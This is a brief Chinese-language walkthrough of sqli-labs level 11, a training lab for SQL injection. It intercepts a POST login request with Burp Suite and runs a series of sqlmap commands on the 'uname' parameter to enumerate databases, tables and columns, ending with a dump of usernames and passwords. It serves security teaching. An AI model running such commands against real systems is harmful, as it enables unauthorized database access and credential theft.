sqli-labs 第11关
第11关为post传递,我们可以用burrp suit来进行抓包进行查看提交参数,抓包后的结果如下图所示,发现有三个参数(uname,passwd,submit),这里先用参数uname进行尝试。
使用sqlmap进行post注入测试( --data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数;--dbs 列出数据库系统所有的数据库;--batch 自动选择默认参数),这里发现参数uname能跑出数据库,可以发现存在注入点。
sqlmap.py -r "E://MyDownloads/le11.txt" --data="uname=admin" --dbs --batch
查看数据库中的存在表
sqlmap.py -r "E://MyDownloads/le11.txt" --data="uname=admin" --batch -D security --tables
查看数据库中的表的列
sqlmap.py -r "E://MyDownloads/le11.txt" --data="uname=admin" --batch -D security -T users --columns
查看数据库中的表的列的内容
sqlmap.py -r "E://MyDownloads/le11.txt" --data="uname=admin" --batch -D security -T users -C id,password,username --dump